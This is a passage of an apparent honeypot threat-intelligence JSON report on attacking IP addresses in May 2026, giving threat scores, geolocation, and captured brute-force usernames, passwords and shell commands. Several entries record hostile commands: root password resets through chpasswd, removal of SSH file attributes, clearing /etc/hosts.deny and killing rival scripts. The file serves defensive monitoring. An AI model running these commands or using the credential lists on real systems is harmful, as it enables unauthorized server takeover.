        "first_seen_30d": "2026-05-17T08:56:09.145000+00:00",
        "last_seen_30d": "2026-05-17T11:31:53.105000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 177,
        "Suricata": 90
      }
    },
    "103.215.80.173": {
      "attack_count": 168,
      "first_seen": "2026-05-12T18:59:15.454Z",
      "last_seen": "2026-05-12T20:10:41.753Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "debian",
        "docker",
        "kumar",
        "loginuser",
        "poc",
        "roots",
        "ubuntu",
        "xiaolin"
      ],
      "passwords_attempted": [
        "123456",
        "123Admin",
        "12qw!@QW",
        "1qazxsw2@123",
        "3245gs5662d34",
        "345gs5662d34",
        "Info@123",
        "Nb123",
        "P@ssw0rd",
        "a1b2c3d4",
        "aA112233",
        "admin!@#$",
        "admin@2024",
        "docker",
        "drcom@123",
        "hz123456",
        "kumar",
        "newpassword",
        "password",
        "poc"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:O7EgfTwmzxGe\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 24544,
      "as_org": "Laws Cloud Infrastructure Limited",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T18:59:15.454000+00:00",
        "last_seen_30d": "2026-05-12T20:11:49.424000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 52
      }
    },
    "103.84.236.242": {
      "attack_count": 156,
      "first_seen": "2026-05-25T00:18:47.511Z",
      "last_seen": "2026-05-25T01:13:35.856Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "123",
        "printer"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234567Aa",
        "123456As",
        "123456aA@",
        "147852",
        "Ll123456",
        "Wangsu@2017",
        "fjbdfdjkdsfs541544",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "p@$$w0rd",
        "password1",
        "printer",
        "qwe@1234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:85fQiqobKE8H\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 134945,
      "as_org": "Blue Sky Broadband Pvt. Ltd.",
      "threat_score": 28.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 199,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T00:18:47.511000+00:00",
        "last_seen_30d": "2026-05-25T01:14:44.516000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 156,
        "Suricata": 43
      }
    },
    "180.191.52.161": {
      "attack_count": 150,
      "first_seen": "2026-05-18T22:29:27.191Z",
      "last_seen": "2026-05-19T06:23:42.158Z",
      "sessions": 75,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Tarlac City",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 225,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:29:27.191000+00:00",
        "last_seen_30d": "2026-05-19T06:24:44.543000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 150,
        "Suricata": 75
      }
    },
    "66.116.225.113": {
      "attack_count": 148,
      "first_seen": "2026-05-28T05:50:23.603Z",
      "last_seen": "2026-05-28T06:19:02.304Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "data",
        "deploy",
        "developer",
        "devuser",
        "esuser",
        "kali",
        "kibana",
        "mamad",
        "miguel",
        "tiger",
        "torrent"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "1234567890qwertyuiop",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123#@!",
        "Qwerty12345",
        "asdf@123123",
        "data2025",
        "fjbdfdjkdsfs541544",
        "kali123",
        "kibana",
        "mamad@123",
        "qwer@2022",
        "tiger",
        "torrent"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:NKALxglVJzKM\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 32.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T05:50:23.603000+00:00",
        "last_seen_30d": "2026-05-28T06:20:05.819000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 148,
        "Suricata": 41
      }
    },
    "14.34.157.138": {
      "attack_count": 119,
      "first_seen": "2026-05-22T06:39:36.890Z",
      "last_seen": "2026-05-22T07:18:40.054Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "tuan",
        "345gs5662d34",
        "ftp_user",
        "mapr",
        "nathaniel",
        "teste",
        "user"
      ],
      "passwords_attempted": [
        "123456",
        "123qweASDzxc",
        "3245gs5662d34",
        "345gs5662d34",
        "ftp_user",
        "mapr",
        "nathaniel",
        "root01",
        "secret",
        "tuan123",
        "userpass",
        "vps123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"tuan123\\nZB04kgKTCjV9\\nZB04kgKTCjV9\\n\"|passwd",
        "echo -e \"tuan123\\nZB04kgKTCjV9\\nZB04kgKTCjV9\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Pyeongtaek-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T06:39:36.890000+00:00",
        "last_seen_30d": "2026-05-22T07:19:43.953000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 30
      }
    },
    "108.178.7.34": {
      "attack_count": 108,
      "first_seen": "2026-05-03T05:14:32.395Z",
      "last_seen": "2026-05-31T14:11:31.429Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 57.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.0,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T05:14:32.395000+00:00",
        "last_seen_30d": "2026-05-31T14:12:36.485000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 54
      }
    },
    "94.159.112.56": {
      "attack_count": 98,
      "first_seen": "2026-05-30T08:05:47.538Z",
      "last_seen": "2026-05-30T08:36:40.863Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "administrator",
        "ann",
        "steam"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "1q2w3e4r5T",
        "ABcd@1234",
        "Qwer@123",
        "ann12345",
        "newpassword"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\noV7iTxeDwhgV\\noV7iTxeDwhgV\\n\"|passwd",
        "echo -e \"123\\noV7iTxeDwhgV\\noV7iTxeDwhgV\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": null,
      "asn": 216300,
      "as_org": "Closed Joint Stock Company AbkhazMedia",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 122,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T08:05:47.538000+00:00",
        "last_seen_30d": "2026-05-30T08:37:46.996000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 24
      }
    },
    "45.156.223.71": {
      "attack_count": 84,
      "first_seen": "2026-05-05T00:06:05.520Z",
      "last_seen": "2026-05-31T08:22:34.281Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 141718,
      "as_org": "haoxiangyun",
      "threat_score": 54.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.9,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:06:05.520000+00:00",
        "last_seen_30d": "2026-05-31T08:23:38.249000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 42
      }
    },
    "35.205.128.215": {
      "attack_count": 71,
      "first_seen": "2026-05-15T08:50:07.873Z",
      "last_seen": "2026-05-15T08:51:02.093Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 2647",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T08:50:07.873000+00:00",
        "last_seen_30d": "2026-05-15T08:52:12.055000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "168.144.95.137": {
      "attack_count": 68,
      "first_seen": "2026-05-25T03:02:40.530Z",
      "last_seen": "2026-05-25T03:42:57.407Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "yassine",
        "345gs5662d34",
        "curl",
        "devman",
        "john",
        "usuario1"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "@WSX3edc",
        "Aa11223344",
        "Abc123456@",
        "devman123",
        "fjbdfdjkdsfs541544@@",
        "pakistan",
        "welltech12",
        "yassine"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T03:02:40.530000+00:00",
        "last_seen_30d": "2026-05-25T03:43:59.315000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 30
      }
    },
    "185.255.100.194": {
      "attack_count": 66,
      "first_seen": "2026-05-11T04:40:52.481Z",
      "last_seen": "2026-05-31T13:39:56.538Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 48.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.9,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T04:40:52.481000+00:00",
        "last_seen_30d": "2026-05-31T13:41:06.395000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 33
      }
    },
    "198.20.127.221": {
      "attack_count": 60,
      "first_seen": "2026-05-09T01:07:13.786Z",
      "last_seen": "2026-05-29T06:05:50.121Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 44.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.5,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T01:07:13.786000+00:00",
        "last_seen_30d": "2026-05-29T06:06:53.824000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 30
      }
    },
    "194.195.116.65": {
      "attack_count": 56,
      "first_seen": "2026-05-02T02:41:59.375Z",
      "last_seen": "2026-05-03T08:23:24.956Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 117,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T02:41:59.375000+00:00",
        "last_seen_30d": "2026-05-03T08:24:31.764000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Cowrie": 56
      }
    },
    "111.173.159.122": {
      "attack_count": 52,
      "first_seen": "2026-05-19T03:16:44.366Z",
      "last_seen": "2026-05-19T06:16:57.847Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 19.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T03:16:44.366000+00:00",
        "last_seen_30d": "2026-05-19T06:18:07.379000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 28
      }
    },
    "103.18.14.121": {
      "attack_count": 50,
      "first_seen": "2026-05-29T19:00:23.663Z",
      "last_seen": "2026-05-29T19:05:47.933Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Peshawar",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T19:00:23.663000+00:00",
        "last_seen_30d": "2026-05-29T19:06:56.904000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.43.5": {
      "attack_count": 50,
      "first_seen": "2026-05-29T05:52:19.942Z",
      "last_seen": "2026-05-29T05:57:44.262Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Shakargarh",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T05:52:19.942000+00:00",
        "last_seen_30d": "2026-05-29T05:58:54.102000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "16.58.56.214": {
      "attack_count": 47,
      "first_seen": "2026-05-03T03:32:10.870Z",
      "last_seen": "2026-05-24T05:39:26.692Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 8600,
        "days_active_30d": 23,
        "ports_targeted_30d": 172,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-05-02T02:08:32+00:00",
        "last_seen_30d": "2026-05-24T12:15:50.743000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5327,
        "Honeytrap": 2723,
        "Redishoneypot": 136,
        "Mailoney": 123,
        "ConPot": 119,
        "Dionaea": 81,
        "Cowrie": 47,
        "Tanner": 10,
        "Ipphoney": 8,
        "Ciscoasa": 6,
        "Honeyaml": 6,
        "CitrixHoneypot": 5,
        "ElasticPot": 5,
        "H0neytr4p": 4
      }
    },
    "108.181.2.159": {
      "attack_count": 36,
      "first_seen": "2026-05-03T14:15:02.975Z",
      "last_seen": "2026-05-08T07:01:42.830Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T14:15:02.975000+00:00",
        "last_seen_30d": "2026-05-08T07:02:45.130000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "205.237.107.42": {
      "attack_count": 30,
      "first_seen": "2026-05-03T00:21:20.857Z",
      "last_seen": "2026-05-11T06:28:41.552Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 3920,
      "as_org": "PUSHPKT OU",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T00:21:20.857000+00:00",
        "last_seen_30d": "2026-05-11T06:29:44.742000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "59.103.119.41": {
      "attack_count": 30,
      "first_seen": "2026-05-03T04:06:47.531Z",
      "last_seen": "2026-05-03T04:10:04.041Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Shekhupura",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
